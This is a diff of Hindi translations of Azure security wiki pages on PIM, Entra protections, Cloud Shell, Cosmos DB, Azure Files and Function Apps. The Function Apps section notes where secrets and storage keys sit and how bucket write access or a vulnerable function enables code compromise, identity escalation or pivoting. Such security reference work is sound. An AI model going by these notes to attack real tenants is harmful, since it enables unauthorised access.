PIM द्वारा प्रदान की जाने वाली मुख्य विशेषताओं में से एक यह है कि यह लगातार सक्रिय प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति नहीं देता, बल्कि उन्हें **एक निश्चित समय (जैसे 6 महीने)** के लिए **योग्य** बनाता है। फिर, जब भी उपयोगकर्ता उस भूमिका को सक्रिय करना चाहता है, तो उसे यह बताना होगा कि उसे विशेषाधिकार की आवश्यकता कितने समय के लिए है (जैसे 3 घंटे)। फिर एक **व्यवस्थापक को** अनुरोध को मंजूरी देने की आवश्यकता होती है।\
PIM द्वारा प्रदान की गई मुख्य विशेषताओं में से एक यह है कि यह लगातार सक्रिय प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति नहीं देता, बल्कि उन्हें **एक निश्चित समय (जैसे 6 महीने)** के लिए **योग्य** बनाता है। फिर, जब भी उपयोगकर्ता उस भूमिका को सक्रिय करना चाहता है, तो उसे उस समय को इंगित करते हुए इसके लिए अनुरोध करना होगा जिसकी उसे आवश्यकता है (जैसे 3 घंटे)। फिर एक **व्यवस्थापक को** अनुरोध को मंजूरी देने की आवश्यकता होती है।\
ध्यान दें कि उपयोगकर्ता **समय बढ़ाने** के लिए भी अनुरोध कर सकेगा।
इसके अलावा, **PIM ईमेल भेजता है** जब किसी को विशेषाधिकार वाली भूमिका सौंपा जा रहा हो।
@@ -1118,9 +1118,9 @@ PIM द्वारा प्रदान की जाने वाली म
### Entra पहचान सुरक्षा
Entra पहचान सुरक्षा एक सुरक्षा सेवा है जो **यह पहचानने** की अनुमति देती है कि जब कोई उपयोगकर्ता या साइन-इन बहुत जोखिम भरा होता है, तो उसे स्वीकार नहीं किया जा सकता, जिससे उपयोगकर्ता या साइन-इन प्रयास को **ब्लॉक** किया जा सकता है।
Entra पहचान सुरक्षा एक सुरक्षा सेवा है जो **यह पहचानने की अनुमति देती है कि जब कोई उपयोगकर्ता या साइन-इन बहुत जोखिम भरा होता है** तो उसे स्वीकार नहीं किया जा सकता, जिससे उपयोगकर्ता या साइन-इन प्रयास को **ब्लॉक** किया जा सकता है।
यह व्यवस्थापक को इसे इस तरह कॉन्फ़िगर करने की अनुमति देता है कि जब जोखिम "कम और ऊपर", "मध्यम और ऊपर" या "उच्च" हो, तो प्रयासों को **ब्लॉक** किया जाए। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से **अक्षम** है:
यह व्यवस्थापक को इसे इस तरह कॉन्फ़िगर करने की अनुमति देता है कि जब जोखिम "कम और ऊपर", "मध्यम और ऊपर" या "उच्च" हो, तो प्रयासों को **ब्लॉक** किया जाए। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से **निष्क्रिय** है:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
@@ -1129,10 +1129,10 @@ Entra पहचान सुरक्षा एक सुरक्षा से
### Entra पासवर्ड सुरक्षा
Entra पासवर्ड सुरक्षा ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) एक सुरक्षा विशेषता है जो **कमजोर पासवर्ड के दुरुपयोग को रोकने में मदद करती है** जब कई असफल लॉगिन प्रयास होते हैं, तो खातों को लॉक करके।\
Entra पासवर्ड सुरक्षा ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) एक सुरक्षा विशेषता है जो **कमजोर पासवर्ड के दुरुपयोग को रोकने में मदद करती है जब कई असफल लॉगिन प्रयास होते हैं**।\
यह एक **कस्टम पासवर्ड सूची** को भी **बैन** करने की अनुमति देती है जिसे आपको प्रदान करना होगा।
यह **क्लाउड स्तर** और ऑन-प्रिमाइसेस सक्रिय निर्देशिका दोनों पर लागू किया जा सकता है।
यह **क्लाउड स्तर** और ऑन-प्रिमाइसेस सक्रिय निर्देशिका दोनों पर **लागू** किया जा सकता है।
डिफ़ॉल्ट मोड **ऑडिट** है:

View File

@@ -12,7 +12,7 @@
**Environment**: Azure Cloud Shell एक सुरक्षित वातावरण प्रदान करता है जो Azure Linux पर चलता है, जो Microsoft का अपना Linux वितरण है जिसे क्लाउड अवसंरचना के लिए डिज़ाइन किया गया है। Azure Linux रिपॉजिटरी में शामिल सभी पैकेज Microsoft द्वारा आंतरिक रूप से संकलित किए गए हैं ताकि सप्लाई चेन हमलों से सुरक्षा की जा सके।
**Preinstalled Tools**: Cloud Shell में Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, और vim, nano, और emacs जैसे टेक्स्ट संपादकों जैसे प्रीइंस्टॉल्ड टूल्स का एक व्यापक सेट शामिल है। ये टूल उपयोग के लिए तैयार हैं। स्थापित पैकेज और मॉड्यूल की सूची के लिए आप "Get-Module -ListAvailable", "tdnf list" और "pip3 list" का उपयोग कर सकते हैं।
**$HOME persistence**: जब आप पहली बार Azure Cloud Shell शुरू करते हैं, तो आप इसे एक जुड़े स्टोरेज खाते के साथ या बिना उपयोग कर सकते हैं। स्टोरेज को न जोड़ने का विकल्प एक अस्थायी सत्र बनाता है जहां फ़ाइलें सत्र समाप्त होने पर हटा दी जाती हैं। सत्रों के बीच फ़ाइलों को बनाए रखने के लिए, एक स्टोरेज खाता माउंट करें, जो स्वचालित रूप से **$HOME\clouddrive** के रूप में जुड़ता है, आपके **$HOME** निर्देशिका को Azure फ़ाइल शेयर में **.img** फ़ाइल के रूप में सहेजा जाता है। हालाँकि, $HOME के बाहर फ़ाइलें और मशीन की स्थितियाँ बनाए नहीं रखी जाती हैं। SSH कुंजियों जैसे रहस्यों को सुरक्षित रूप से संग्रहीत करने के लिए, Azure Key Vault का उपयोग करें।
**$HOME persistence**: जब आप पहली बार Azure Cloud Shell शुरू करते हैं, तो आप इसे एक जुड़े स्टोरेज खाते के साथ या बिना उपयोग कर सकते हैं। स्टोरेज को न जोड़ने का विकल्प एक अस्थायी सत्र बनाता है जहां सत्र समाप्त होने पर फ़ाइलें हटा दी जाती हैं। सत्रों के बीच फ़ाइलों को बनाए रखने के लिए, एक स्टोरेज खाता माउंट करें, जो स्वचालित रूप से **$HOME\clouddrive** के रूप में जुड़ता है, आपके **$HOME** निर्देशिका को Azure फ़ाइल शेयर में **.img** फ़ाइल के रूप में सहेजा जाता है। हालाँकि, $HOME के बाहर फ़ाइलें और मशीन की स्थितियाँ बनाए नहीं रखी जाती हैं। SSH कुंजियों जैसे रहस्यों को सुरक्षित रूप से संग्रहीत करने के लिए, Azure Key Vault का उपयोग करें।
**Azure drive (Azure:)**: Azure Cloud Shell में PowerShell Azure ड्राइव (Azure:) शामिल है, जो फ़ाइल सिस्टम-जैसे कमांड का उपयोग करके Compute, Network, और Storage जैसे Azure संसाधनों के आसान नेविगेशन की अनुमति देता है। Azure ड्राइव पर स्विच करने के लिए cd Azure: का उपयोग करें और अपने होम निर्देशिका पर लौटने के लिए cd ~ का उपयोग करें। आप किसी भी ड्राइव से संसाधनों का प्रबंधन करने के लिए Azure PowerShell cmdlets का उपयोग कर सकते हैं।
**Custom Tool Installation**: उपयोगकर्ता जो Cloud Shell को एक स्टोरेज खाते के साथ कॉन्फ़िगर करते हैं, वे अतिरिक्त टूल स्थापित कर सकते हैं जिन्हें रूट अनुमतियों की आवश्यकता नहीं होती है। यह सुविधा Cloud Shell वातावरण के आगे अनुकूलन की अनुमति देती है, जिससे उपयोगकर्ता अपनी सेटअप को अपनी विशिष्ट आवश्यकताओं के अनुसार अनुकूलित कर सकते हैं।

View File

@@ -4,11 +4,11 @@
## Azure CosmosDB
**Azure Cosmos DB** एक पूरी तरह से **प्रबंधित NoSQL, रिलेशनल, और वेक्टर डेटाबेस** है जो एकल-अंक मिलीसेकंड प्रतिक्रिया समय, स्वचालित स्केलेबिलिटी, और SLA-समर्थित उपलब्धता के साथ उद्यम-ग्रेड सुरक्षा प्रदान करता है। यह टर्नकी मल्टी-क्षेत्र डेटा वितरण, ओपन-सोर्स APIs, लोकप्रिय भाषाओं के लिए SDKs, और एकीकृत वेक्टर समर्थन और निर्बाध Azure AI एकीकरण जैसी AI डेटाबेस सुविधाओं के माध्यम से तेज ऐप विकास को सक्षम बनाता है।
**Azure Cosmos DB** एक पूरी तरह से **प्रबंधित NoSQL, रिलेशनल, और वेक्टर डेटाबेस** है जो एकल-अंक मिलीसेकंड प्रतिक्रिया समय, स्वचालित स्केलेबिलिटी, और SLA-समर्थित उपलब्धता के साथ एंटरप्राइज-ग्रेड सुरक्षा प्रदान करता है। यह टर्नकी मल्टी-रीजन डेटा वितरण, ओपन-सोर्स APIs, लोकप्रिय भाषाओं के लिए SDKs, और AI डेटाबेस सुविधाओं जैसे एकीकृत वेक्टर समर्थन और निर्बाध Azure AI एकीकरण के माध्यम से तेज ऐप विकास को सक्षम बनाता है।
Azure Cosmos DB वास्तविक दुनिया के डेटा को दस्तावेज़, रिलेशनल, की-मान, ग्राफ, और कॉलम-परिवार डेटा मॉडल का उपयोग करके मॉडल करने के लिए कई डेटाबेस APIs प्रदान करता है, ये APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin और Table हैं।
Azure Cosmos DB वास्तविक दुनिया के डेटा को दस्तावेज़, रिलेशनल, की-वैल्यू, ग्राफ, और कॉलम-फैमिली डेटा मॉडल का उपयोग करके मॉडल करने के लिए कई डेटाबेस APIs प्रदान करता है, ये APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin और Table हैं।
CosmosDB का एक प्रमुख पहलू Azure Cosmos Account है। **Azure Cosmos Account** डेटाबेस के लिए प्रवेश बिंदु के रूप में कार्य करता है। खाता वैश्विक वितरण, स्थिरता स्तर, और उपयोग किए जाने वाले विशिष्ट API जैसे महत्वपूर्ण सेटिंग्स को निर्धारित करता है, जैसे NoSQL। खाते के माध्यम से, आप वैश्विक पुनरुत्पादन को कॉन्फ़िगर कर सकते हैं ताकि डेटा कई क्षेत्रों में कम-लेटेंसी पहुंच के लिए उपलब्ध हो। इसके अतिरिक्त, आप प्रदर्शन और डेटा सटीकता के बीच संतुलन बनाने के लिए एक स्थिरता स्तर चुन सकते हैं, जिसमें मजबूत से अंततः स्थिरता तक के विकल्प होते हैं।
CosmosDB का एक प्रमुख पहलू Azure Cosmos Account है। **Azure Cosmos Account** डेटाबेस के लिए प्रवेश बिंदु के रूप में कार्य करता है। खाता वैश्विक वितरण, स्थिरता स्तर, और उपयोग किए जाने वाले विशिष्ट API जैसे महत्वपूर्ण सेटिंग्स को निर्धारित करता है, जैसे NoSQL। खाते के माध्यम से, आप वैश्विक पुनरुत्पादन को कॉन्फ़िगर कर सकते हैं ताकि डेटा कई क्षेत्रों में कम-लेटेंसी पहुंच के लिए उपलब्ध हो। इसके अतिरिक्त, आप प्रदर्शन और डेटा सटीकता के बीच संतुलन बनाने के लिए एक स्थिरता स्तर चुन सकते हैं, जिसमें Strong से लेकर Eventual consistency तक के विकल्प होते हैं।
### NoSQL (sql)
Azure Cosmos DB NoSQL API एक दस्तावेज़-आधारित API है जो JSON को अपने डेटा प्रारूप के रूप में उपयोग करता है। यह JSON वस्तुओं को क्वेरी करने के लिए SQL-जैसी क्वेरी सिंटैक्स प्रदान करता है, जिससे यह संरचित और अर्ध-संरचित डेटा के साथ काम करने के लिए उपयुक्त बनाता है। सेवा का एंडपॉइंट है:
@@ -110,7 +110,7 @@ Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -A
#### कनेक्शन
azure-cosmosDB (pip install azure-cosmos) लाइब्रेरी कनेक्ट करने के लिए आवश्यक है। इसके अतिरिक्त, एंडपॉइंट और कुंजी कनेक्शन बनाने के लिए महत्वपूर्ण घटक हैं।
azure-cosmosDB (pip install azure-cosmos) लाइब्रेरी को कनेक्ट करने के लिए आवश्यक है। इसके अतिरिक्त, एंडपॉइंट और कुंजी कनेक्शन बनाने के लिए महत्वपूर्ण घटक हैं।
```python
from azure.cosmos import CosmosClient, PartitionKey
@@ -175,7 +175,7 @@ container.create_item(item)
print("Document inserted.")
```
### MongoDB
MongoDB NoSQL API एक दस्तावेज़-आधारित API है जो अपने डेटा प्रारूप के रूप में JSON-जैसे BSON (Binary JSON) का उपयोग करता है। यह समेकन क्षमताओं के साथ एक क्वेरी भाषा प्रदान करता है, जिससे यह संरचित, अर्ध-संरचित, और असंरचित डेटा के साथ काम करने के लिए उपयुक्त है। सेवा का एंडपॉइंट आमतौर पर इस प्रारूप का पालन करता है:
MongoDB NoSQL API एक दस्तावेज़-आधारित API है जो अपने डेटा प्रारूप के रूप में JSON-जैसे BSON (Binary JSON) का उपयोग करता है। यह एक क्वेरी भाषा प्रदान करता है जिसमें समेकन क्षमताएँ होती हैं, जिससे यह संरचित, अर्ध-संरचित, और असंरचित डेटा के साथ काम करने के लिए उपयुक्त होता है। सेवा का एंडपॉइंट आमतौर पर इस प्रारूप का पालन करता है:
```bash
mongodb://<hostname>:<port>/<database>
```
@@ -287,30 +287,30 @@ document = {
result = collection.insert_one(document)
print(f"Inserted document with ID: {result.inserted_id}")
```
## संदर्भ
## References
- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
## विशेषाधिकार वृद्धि
## Privilege Escalation
{{#ref}}
../az-privilege-escalation/az-cosmosDB-privesc.md
{{#endref}}
## पोस्ट एक्सप्लोइटेशन
## Post Exploitation
{{#ref}}
../az-post-exploitation/az-sql-post-exploitation.md
{{#endref}}
## करने के लिए
## ToDo
* यहाँ बाकी DB, टेबल, कैसेंड्रा, ग्रेमलिन...
* पोस्ट एक्सप्लोइटेशन "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" और भूमिका परिभाषाओं पर एक नज़र डालें क्योंकि यहाँ विशेषाधिकार वृद्धि हो सकत है
* पुनर्स्थापनों पर एक नज़र डालें
* पोस्ट एक्सप्लोइटेशन "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" और भूमिका परिभाषाओं पर ध्यान दें क्योंकि यहाँ प्रिवेस्क हो सकत है
* रिस्टोर पर ध्यान दें

View File

@@ -4,7 +4,7 @@
## Basic Information
**Azure Files** एक पूरी तरह से प्रबंधित क्लाउड फ़ाइल स्टोरेज सेवा है जो साझा फ़ाइल स्टोरेज प्रदान करती है जिसे मानक **SMB (Server Message Block)** और **NFS (Network File System)** प्रोटोकॉल के माध्यम से एक्सेस किया जा सकता है। हालांकि मुख्य प्रोटोकॉल SMB है, NFS Azure फ़ाइल शेयर Windows के लिए समर्थित नहीं हैं (के अनुसार [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). यह आपको अत्यधिक उपलब्ध नेटवर्क फ़ाइल शेयर बनाने की अनुमति देता है जिन्हें कई वर्चुअल मशीनों (VMs) या ऑन-प्रिमाइसेस सिस्टम द्वारा एक साथ एक्सेस किया जा सकता है, जिससे वातावरणों के बीच फ़ाइल साझा करना आसान हो जाता है।
**Azure Files** एक पूरी तरह से प्रबंधित क्लाउड फ़ाइल स्टोरेज सेवा है जो साझा फ़ाइल स्टोरेज प्रदान करती है जिसे मानक **SMB (Server Message Block)** और **NFS (Network File System)** प्रोटोकॉल के माध्यम से एक्सेस किया जा सकता है। हालांकि मुख्य प्रोटोकॉल SMB है, NFS Azure फ़ाइल शेयर Windows के लिए समर्थित नहीं हैं (के अनुसार [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)) यह आपको अत्यधिक उपलब्ध नेटवर्क फ़ाइल शेयर बनाने की अनुमति देता है जिन्हें कई वर्चुअल मशीनों (VMs) या ऑन-प्रिमाइसेस सिस्टम द्वारा एक साथ एक्सेस किया जा सकता है, जिससे वातावरणों के बीच फ़ाइल साझा करना आसान हो जाता है।
### Access Tiers
@@ -150,7 +150,7 @@ az-storage.md
../az-privilege-escalation/az-storage-privesc.md
{{#endref}}
## पोस्ट एक्सप्लइटेशन
## पोस्ट एक्सप्लइटेशन
{{#ref}}
../az-post-exploitation/az-file-share-post-exploitation.md

View File

@@ -4,99 +4,99 @@
## Basic Information
**Azure Function Apps** एक **serverless compute service** हैं जो आपको छोटे कोड के टुकड़े, जिन्हें **functions** कहा जाता है, को बिना अंतर्निहित बुनियादी ढांचे का प्रबंधन किए चलाने की अनुमति देती हैं। इन्हें विभिन्न ट्रिगर्स के जवाब में कोड निष्पादित करने के लिए डिज़ाइन किया गया है, जैसे कि **HTTP अनुरोध, टाइमर, या अन्य Azure सेवाओं** से घटनाएँ जैसे Blob Storage या Event Hubs। Function Apps कई प्रोग्रामिंग भाषाओं का समर्थन करते हैं, जिसमें C#, Python, JavaScript, और Java शामिल हैं, जिससे ये **event-driven applications**, वर्कफ़्लो को स्वचालित करने, या सेवाओं को एकीकृत करने के लिए बहुपरकारी बनते हैं। ये लागत-कुशल हैं, क्योंकि आप आमतौर पर केवल उस समय के लिए भुगतान करते हैं जब आपका कोड चलता है।
**Azure Function Apps** एक **serverless compute service** हैं जो आपको छोटे कोड के टुकड़े, जिन्हें **functions** कहा जाता है, को बिना अंतर्निहित बुनियादी ढांचे का प्रबंधन किए चलाने की अनुमति देती हैं। इन्हें विभिन्न ट्रिगर्स के जवाब में कोड निष्पादित करने के लिए डिज़ाइन किया गया है, जैसे कि **HTTP अनुरोध, टाइमर, या अन्य Azure सेवाओं** से घटनाएँ जैसे Blob Storage या Event Hubs। Function Apps कई प्रोग्रामिंग भाषाओं का समर्थन करते हैं, जिसमें C#, Python, JavaScript, और Java शामिल हैं, जिससे ये **event-driven applications**, वर्कफ़्लो को स्वचालित करने, या सेवाओं को एकीकृत करने के लिए बहुपरकारी बनते हैं। ये लागत-कुशल हैं, क्योंकि आप आमतौर पर केवल उस समय के लिए भुगतान करते हैं जब आपका कोड चलता है।
> [!NOTE]
> ध्यान दें कि **Functions App Services का एक उपसमुच्चय हैं**, इसलिए, यहां चर्चा की गई कई सुविधाएँ Azure Apps (`webapp` in cli) के रूप में बनाए गए अनुप्रयोगों द्वारा भी उपयोग की जाएंगी।
### Different Plans
- **Flex Consumption Plan**: **डायनामिक, इवेंट-ड्रिवेन स्केलिंग** के साथ पे-एज़-यू-गो मूल्य निर्धारण प्रदान करता है, मांग के आधार पर फ़ंक्शन उदाहरणों को जोड़ने या हटाने की अनुमति देता है। यह **वर्चुअल नेटवर्किंग** और **पूर्व-प्रावधानित उदाहरणों** का समर्थन करता है ताकि ठंडी शुरुआत को कम किया जा सके, जिससे यह **परिवर्तनीय कार्यभार** के लिए उपयुक्त है जिसे कंटेनर समर्थन की आवश्यकता नहीं है।
- **Traditional Consumption Plan**: डिफ़ॉल्ट serverless विकल्प, जहां आप **केवल तब कंप्यूट संसाधनों के लिए भुगतान करते हैं जब फ़ंक्शन चलते हैं**। यह आने वाली घटनाओं के आधार पर स्वचालित रूप से स्केल करता है और इसमें **कोल्ड स्टार्ट ऑप्टिमाइजेशन** शामिल हैं, लेकिन यह कंटेनर तैनाती का समर्थन नहीं करता है। स्वचालित स्केलिंग की आवश्यकता वाले **अवधिक कार्यभार** के लिए आदर्श
- **Premium Plan**: **संगत प्रदर्शन** के लिए डिज़ाइन किया गया है, जिसमें ठंडी शुरुआत को समाप्त करने के लिए **पूर्व-गर्म श्रमिक** होते हैं। यह **विस्तारित निष्पादन समय, वर्चुअल नेटवर्किंग** प्रदान करता है, और **कस्टम लिनक्स छवियों** का समर्थन करता है, जिससे यह **मिशन-क्रिटिकल अनुप्रयोगों** के लिए आदर्श है जिन्हें उच्च प्रदर्शन और उन्नत सुविधाओं की आवश्यकता होती है।
- **Dedicated Plan**: समर्पित वर्चुअल मशीनों पर चलता है जिसमें **पूर्वानुमेय बिलिंग** होत है और मैनुअल या स्वचालित स्केलिंग का समर्थन करता है। यह एक ही योजना पर कई ऐप चलाने की अनुमति देता है, **कंप्यूट आइसोलेशन** प्रदान करता है, और **App Service Environments** के माध्यम से **सुरक्षित नेटवर्क एक्सेस** सुनिश्चित करता है, जिससे यह **लंबे समय तक चलने वाले अनुप्रयोगों** के लिए आदर्श है जिन्हें लगातार संसाधन आवंटन की आवश्यकता होती है।
- **Container Apps**: एक प्रबंधित वातावरण में **कंटेनराइज्ड फ़ंक्शन ऐप्स** को तैनात करने की अनुमति देता है, माइक्रोसर्विसेज और APIs के साथ। यह कस्टम पुस्तकालयों, विरासती ऐप माइग्रेशन, और **GPU प्रोसेसिंग** का समर्थन करता है, जिससे Kubernetes क्लस्टर प्रबंधन समाप्त हो जाता है। **इवेंट-ड्रिवेन, स्केलेबल कंटेनराइज्ड अनुप्रयोगों** के लिए आदर्श।
- **Flex Consumption Plan**: **dynamic, event-driven scaling** के साथ pay-as-you-go मूल्य निर्धारण प्रदान करता है, मांग के आधार पर function उदाहरणों को जोड़ने या हटाने की अनुमति देता है। यह **virtual networking** और **pre-provisioned instances** का समर्थन करता है ताकि ठंडी शुरुआत को कम किया जा सके, जिससे यह **variable workloads** के लिए उपयुक्त है जिन्हें कंटेनर समर्थन की आवश्यकता नहीं है।
- **Traditional Consumption Plan**: डिफ़ॉल्ट serverless विकल्प, जहां आप **केवल तब compute resources के लिए भुगतान करते हैं जब functions चलते हैं**। यह आने वाली घटनाओं के आधार पर स्वचालित रूप से स्केल करता है और इसमें **cold start optimizations** शामिल हैं, लेकिन यह कंटेनर तैनाती का समर्थन नहीं करता है। **intermittent workloads** के लिए आदर्श जो स्वचालित स्केलिंग की आवश्यकता होती है
- **Premium Plan**: **consistent performance** के लिए डिज़ाइन किया गया है, जिसमें ठंडी शुरुआत को समाप्त करने के लिए **prewarmed workers** होते हैं। यह **extended execution times, virtual networking** प्रदान करता है, और **custom Linux images** का समर्थन करता है, जिससे यह **mission-critical applications** के लिए आदर्श है जिन्हें उच्च प्रदर्शन और उन्नत सुविधाओं की आवश्यकता होती है।
- **Dedicated Plan**: समर्पित वर्चुअल मशीनों पर चलता है जिसमें **predictable billing** होत है और मैनुअल या स्वचालित स्केलिंग का समर्थन करता है। यह एक ही योजना पर कई ऐप चलाने की अनुमति देता है, **compute isolation** प्रदान करता है, और App Service Environments के माध्यम से **secure network access** सुनिश्चित करता है, जिससे यह **long-running applications** के लिए आदर्श है जिन्हें लगातार संसाधन आवंटन की आवश्यकता होती है।
- **Container Apps**: एक प्रबंधित वातावरण में **containerized function apps** को तैनात करने की अनुमति देता है, माइक्रोसर्विसेज और APIs के साथ। यह कस्टम पुस्तकालयों, विरासती ऐप माइग्रेशन, और **GPU processing** का समर्थन करता है, जिससे Kubernetes क्लस्टर प्रबंधन समाप्त हो जाता है। **event-driven, scalable containerized applications** के लिए आदर्श।
### **Storage Buckets**
जब एक नया फ़ंक्शन ऐप बनाया जाता है जो कंटेनराइज नहीं होता (लेकिन चलाने के लिए कोड देता है), तो **कोड और अन्य फ़ंक्शन से संबंधित डेटा एक स्टोरेज खाते में संग्रहीत किया जाएगा**। डिफ़ॉल्ट रूप से, वेब कंसोल प्रत्येक फ़ंक्शन के लिए कोड संग्रहीत करने के लिए एक नया बनाएगा।
जब एक नया Function App बनाया जाता है जो कंटेनर नहीं ह (लेकिन चलाने के लिए कोड देता है), तो **कोड और अन्य Function से संबंधित डेटा एक Storage account में संग्रहीत किया जाएगा**। डिफ़ॉल्ट रूप से, वेब कंसोल प्रत्येक फ़ंक्शन के लिए कोड संग्रहीत करने के लिए एक नया बनाएगा।
इसके अलावा, बकेट के अंदर कोड को संशोधित करने पर (जिस विभिन्न प्रारूपों में इसे संग्रहीत किया जा सकता है), **ऐप का कोड नए कोड में संशोधित किया जाएगा और अगली बार फ़ंक्शन को कॉल करने पर निष्पादित किया जाएगा**
इसके अलावा, बकेट के अंदर कोड को संशोधित करने पर (जिस विभिन्न प्रारूपों में इसे संग्रहीत किया जा सकता है), **ऐप का कोड नए कोड में संशोधित किया जाएगा और अगली बार जब Function को कॉल किया जाएगा तो इसे निष्पादित किया जाएगा**
> [!CAUTION]
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि **इस बकेट पर लिखने की पहुंच** एक हमलावर को **कोड से समझौता करने और फ़ंक्शन ऐप के अंदर प्रबंधित पहचान को बढ़ाने** की अनुमति देगी।
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि **इस बकेट पर लिखने की पहुंच** एक हमलावर को **कोड से समझौता करने और Function App के अंदर प्रबंधित पहचान को बढ़ाने** की अनुमति देगी।
>
> इस पर अधिक जानकारी **privilege escalation section** में है।
यह भी संभव है कि **मास्टर और फ़ंक्शन कुंजी** को स्टोरेज खाते में **`azure-webjobs-secrets`** कंटेनर में **`<app-name>`** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
यह भी संभव है कि **master और functions keys** को स्टोरेज अकाउंट में **`azure-webjobs-secrets`** कंटेनर में **`<app-name>`** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
ध्यान दें कि फ़ंक्शन भी कोड को एक दूरस्थ स्थान पर संग्रहीत करने की अनुमति देते है बस इसके लिए URL निर्दिष्ट करके।
ध्यान दें कि Functions को एक दूरस्थ स्थान पर कोड संग्रहीत करने की अनुमति भी है, बस इसके लिए URL निर्दिष्ट करके।
### Networking
HTTP ट्रिगर का उपयोग करते हुए:
- यह संभव है कि **इंटरनेट से किसी फ़ंक्शन को सभी को एक्सेस देने** के लिए कोई प्रमाणीकरण की आवश्यकता न हो या IAM आधारित एक्सेस दिया जाए। हालांकि, इस एक्सेस को प्रतिबंधित करना भी संभव है।
- यह भी संभव है कि **एक आंतरिक नेटवर्क (VPC)** से एक फ़ंक्शन ऐप को **एक्सेस दिया जाए या प्रतिबंधित किया जाए**
- यह संभव है कि **इंटरनेट से क फ़ंक्शन को सभी को पहुंच प्रदान करें** बिना किसी प्रमाणीकरण की आवश्यकता के या IAM आधारित पहुंच प्रदान करें। हालांकि, इस पहुंच को प्रतिबंधित करना भी संभव है।
- यह भी संभव है कि **एक आंतरिक नेटवर्क (VPC)** से एक Function App को **पहुंच प्रदान करें या प्रतिबंधित करें**
> [!CAUTION]
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह संभव है कि **एक कमजोर फ़ंक्शन से इंटरनेट पर आंतरिक नेटवर्क में पिवट किया जा सके**।
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह संभव है कि **एक कमजोर Function से आंतरिक नेटवर्क पर पिवट करना**।
### **Function App Settings & Environment Variables**
यह ऐप के अंदर पर्यावरण चर को कॉन्फ़िगर करना संभव है, जिसमें संवेदनशील जानकारी हो सकती है। इसके अलावा, डिफ़ॉल्ट रूप से env चर **`AzureWebJobsStorage`** और **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (अन्य के बीच) बनाए जाते हैं। ये विशेष रूप से दिलचस्प हैं क्योंकि वे **ऐप्लिकेशन के डेटा को नियंत्रित करने के लिए स्टोरेज खाते की कुंजी को पूर्ण अनुमतियों के साथ** शामिल करते हैं। इन सेटिंग्स की आवश्यकता भी स्टोरेज खाते से कोड निष्पादित करने के लिए होती है।
यह एक ऐप के अंदर पर्यावरण चर को कॉन्फ़िगर करना संभव है, जिसमें संवेदनशील जानकारी हो सकती है। इसके अलावा, डिफ़ॉल्ट रूप से env चर **`AzureWebJobsStorage`** और **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (अन्य के बीच) बनाए जाते हैं। ये विशेष रूप से दिलचस्प हैं क्योंकि वे **ऐप्लिकेशन के डेटा को नियंत्रित करने के लिए स्टोरेज अकाउंट की कुंजी को पूर्ण अनुमतियों के साथ** शामिल करते हैं। इन सेटिंग्स की आवश्यकता भी स्टोरेज अकाउंट से कोड निष्पादित करने के लिए होती है।
ये env चर या कॉन्फ़िगरेशन पैरामीटर यह भी नियंत्रित करते हैं कि फ़ंक्शन कोड को कैसे निष्पादित करता है, उदाहरण के लिए यदि **`WEBSITE_RUN_FROM_PACKAGE`** मौजूद है, तो यह उस URL को इंगित करेगा जहां ऐप्लिकेशन का कोड स्थित है।
ये env चर या कॉन्फ़िगरेशन पैरामीटर यह भी नियंत्रित करते हैं कि Function कोड को कैसे निष्पादित करता है, उदाहरण के लिए यदि **`WEBSITE_RUN_FROM_PACKAGE`** मौजूद है, तो यह उस URL को इंगित करेगा जहां ऐप्लिकेशन का कोड स्थित है।
### **Function Sandbox**
लिनक्स सैंडबॉक्स के अंदर स्रोत कोड **`/home/site/wwwroot`** में फ़ाइल **`function_app.py`** (यदि पायथन का उपयोग किया गया है) में स्थित है, कोड चलाने वाला उपयोगकर्ता **`app`** है (बिना sudo अनुमतियों के)।
Linux सैंडबॉक्स के अंदर स्रोत कोड **`/home/site/wwwroot`** में फ़ाइल **`function_app.py`** (यदि Python का उपयोग किया गया है) में स्थित है, कोड चलाने वाला उपयोगकर्ता **`app`** है (बिना sudo अनुमतियों के)।
